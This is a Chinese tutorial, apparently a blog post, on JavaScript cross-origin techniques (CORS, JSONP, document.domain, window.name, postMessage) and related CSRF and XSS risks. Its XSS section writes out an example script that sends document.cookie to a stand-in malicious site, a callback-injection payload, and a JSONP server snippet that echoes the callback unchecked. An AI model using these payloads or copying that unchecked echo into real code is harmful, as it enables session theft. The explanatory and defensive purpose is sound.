淺談js跨域問題

所謂跨域,或者異源,是指主機名(域名)、協議、端口號只要有其一不一樣,就爲不一樣的域(或源)。瀏覽器中有一個基本的策略,叫同源策略,即限制「源」自A的腳本只能操做「同源」頁面的DOM。javascript

先聊一下w3c的CORS規範
CORS旨在定義一種規範讓瀏覽器在接收到從提供者獲取資源時可以決定是否應該將此資源分發給消費者做進一步處理。
具體以下:
(1)消費者發送一個Origin報頭到提供者端:Origin: http://www.a.com
(2)提供者發送一個Access-Control-Allow-Origin響應報頭給消費者,若是值爲*或Origin對應的站點,則表示贊成共享資源給消費者,若是值爲null或者不存在Access-Control-Allow-Origin報頭,則表示不一樣意共享資源給消費者;
(3)瀏覽器根據提供者的響應報文判斷是否容許消費者跨域訪問到提供者源。html

除了CORS,解決跨域還有如下幾種方法:java

一、經過Jsonp跨域

對於一段JavaScript腳原本說,其「源」與它存儲的地址無關,而取決於腳本被加載的頁面,例如咱們在頁面中使用<script>引入存儲在其餘域的腳本文件:
<script src="http://www.a.com/index.js"></script>
這裏腳本與當前頁面是同源的。除了<script>,還有<img>、<iframe>、<link>等都具備跨域加載資源的能力。
Jsonp正是利用這種特性來實現跨域的:在頁面中引入要跨域訪問的來源,並定義回調函數處理跨域訪問獲得的json數據。如:jquery

<script>
function handleData(data) {
    //處理數據
}
</script>
<script src="http://www.a.com/getData.do?callback=handleData"></script>

也可使用jquery封裝的方法,如$.ajax:ajax

<script>
function hadnleData(data) {
    //處理數據
}
$.ajax({
    url: 'http://www.a.com/getData.do?callback=?',
    type: "GET",
    dataType: "jsonp",
    jsonpCallback: "handleData"
});
</script>

固然還須要服務端配合處理:sql

String handleData = request.getParameter("callback");//客戶端的回調函數
out.println(handleData+"("+resultJSON+")");//返回jsonp格式數據

但這種方式只能用於get請求 (╯-╰)/。json

二、修改document.domain來跨子域

www.a.com/1.html和a.com/2.html是不一樣域的,要使他們能夠跨域訪問,可經過修改document.domain來實現,即在兩個頁面中都設置:
document.domain="a.com";
須要注意的是document.domain只能往父級修改,如a.com改成www.a.com是不被容許的,這也是此方法的侷限性,只使用於跨子域訪問。跨域

三、使用window.name來跨域訪問

window.name是同一瀏覽器窗口下載入的全部頁面共享的數據字段,全部窗口均可以讀寫此字段的內容。因此假設a.com要訪問b.com的數據,只須要在b.com中將數據放在window.name中,而後a.com從中取出便可。此方法適用於像iframe這樣的嵌套頁面架構。瀏覽器

四、使用HTML5的window.postMessage方法:

假設要在a.com和b.com頁面之間傳遞數據:安全

//a.com頁面
window.postMesssage(JSON.stringify({xxx:'test'},'b.com');
//b.com頁面
window.onMessage=function(e){
    var data = JSON.parse(e.data);
    console.log(data); //{xxx:'test'}
}

參考連接:http://javascript.ruanyifeng.com/bom/windowpostmessage.html

下面談一下跨域訪問的一些安全性問題,主要是CSRF和XSS攻擊問題。

1、CSRF/XSRF攻擊

網上找到一個大神發的圖,貼在這裏膜拜一下:
clipboard.png

其實就是危險網站B在本身網站上貼了網站A的某個接口連接(a標籤或form提交是支持跨域的),引導用戶點擊(騙取用戶cookie)去訪問網站A,禍因在於用戶登陸了A在不註銷的狀況下登陸了B。解決方法有不少,如驗證碼,表單附加隨機數等,原理基本都是校驗登陸方的請求令牌。
若是使用跨域訪問能夠更簡單的進行CSRF攻擊(固然也有相應的防範措施),當某網站經過JSONP方式來跨域傳遞用戶認證後的敏感信息時,攻擊者能夠構造惡意的JSONP調用頁面,誘導被攻擊者訪問來達到截取用戶敏感信息的目的。(這裏有一個微博股吧CSRF攻擊的例子
目前比較好的防止CSRF攻擊的方法是referer過濾校驗+token驗證,即服務端檢測JSON文件調用來源和檢查token數據是否匹配。

2、XSS攻擊(XSS注入)

此攻擊方法相似sql注入,即提交含有惡意腳本的數據到服務器,從而達到破壞頁面甚至盜取cookie假裝登陸等目的。例如,在a.com/index.ftl中有以下代碼:歡迎你,${username},這時惡意網站b.com傳遞參數:
username=<script>window.open(「www.b.com?param=」+document.cookie)</script>
這樣就垂手可得地盜取了用戶的cookie值了。
在jsonp跨域訪問中,xss注入主要是callback參數注入,如:
<script src="http://www.a.com/getData.do?callback=<script>alert('xss');</script>"></script>防止措施是對參數進行校驗過濾。

相關文章
相關標籤/搜索